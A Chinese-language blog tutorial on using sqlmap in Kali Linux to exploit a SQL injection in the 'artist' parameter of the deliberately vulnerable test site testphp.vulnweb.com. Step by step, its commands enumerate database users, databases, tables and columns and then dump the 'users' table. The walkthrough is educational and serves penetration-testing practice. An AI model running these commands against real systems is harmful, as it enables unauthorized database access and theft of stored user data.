KALI下Sqlmap工具使用方法：

Posted 2021-09-26 lxw_Bruce

        大家好，今天做了SQL注入漏洞的实验。工具是大家熟悉的Sqlmap，Sqlmap是一款开源的SQL注入漏洞检测与利用神器，没有之一。测试平台是漏洞扫描工具AWVS的测试平台：http://testphp.vulnweb.com，kali系统。

先简单介绍一下Sqlmap工具，这款工具堪称神器，因为支持众多数据库：mysql,Oracle,PostgreSQL,Microsoft SQL Server, Microsoft Access, IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB, HSQLDB and Informix。支持的参数位置广：GET，POST or Cookie parameters or via the HTTP User-Agent request header。下面介绍一下操作步骤：

一、GET请求方式：

1、找到有数据库交互的功能页面。进入测试平台，在地址栏输入如下网址：http://testphp.vulnweb.com/artists.php?artist=1。在url参数artist=1后加分号“ ’ ”，出现数据库报错提示，

2、 基本判断这个页面存在数据库注入漏洞。利用这个注入点，根据sqlmap语法，执行这样的命令：

                                                                            
┌──(root💀kali)-[~]
└─#  sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1"

 

 

3、根据结果显示，GET参数artist is vulnerable(artist是可以注入的)。进一步测试，看看哪些用户，在命令行后加 --users （注意，有空格）。

                                                                             
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --users

结果显示如图：

 

4、也有可以加空格--dbs，看看有哪些数据库。

                                                                            
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs

结果如图：

 5、接下来查看当前用户和当前数据库，加入 --current-user --current-db。命令如下：

┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --current-user --current-db

结果如图：

6、接下来读取数据的表信息，命令行后加空格--tables -D "数据库名"

                                                                            
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --tables -D "acuart"

结果如图：

7、 查看某个表的内容(以users为例），首先读取表的字段信息，命令行如下：

                                                                            
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --columns -T "users" -D "acuart"

结果如图：

8、 如果查看这张表有多少条数据，命令行如下：

                                                                            
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --count -T "users" -D "acuart"

结果如图：

9、 那么要读取表达数据内容，执行如下命令行：

                                                                            
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -T "users" -D "acuart"

 结果如图：

 备注：所有的操作数据都会同步保存在本地的一个文件夹中：#/root/.local/share/sqlmap/output/。

10、如果想读取某条至某条记录，此例读第2条到第4条记录。命令如下：

┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -T "users" -D "acuart" --start 2 --stop 4

结果如图：

11、 如果读取数据库所有表，命令如下：

┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump-all -T "users" -D "acuart"

结果如图：

 以上操作是Sqlmap的注入数据库漏洞的部分操作方法。希望对您有所启发和帮助，感谢分享！下期做针对post请求的操作方法！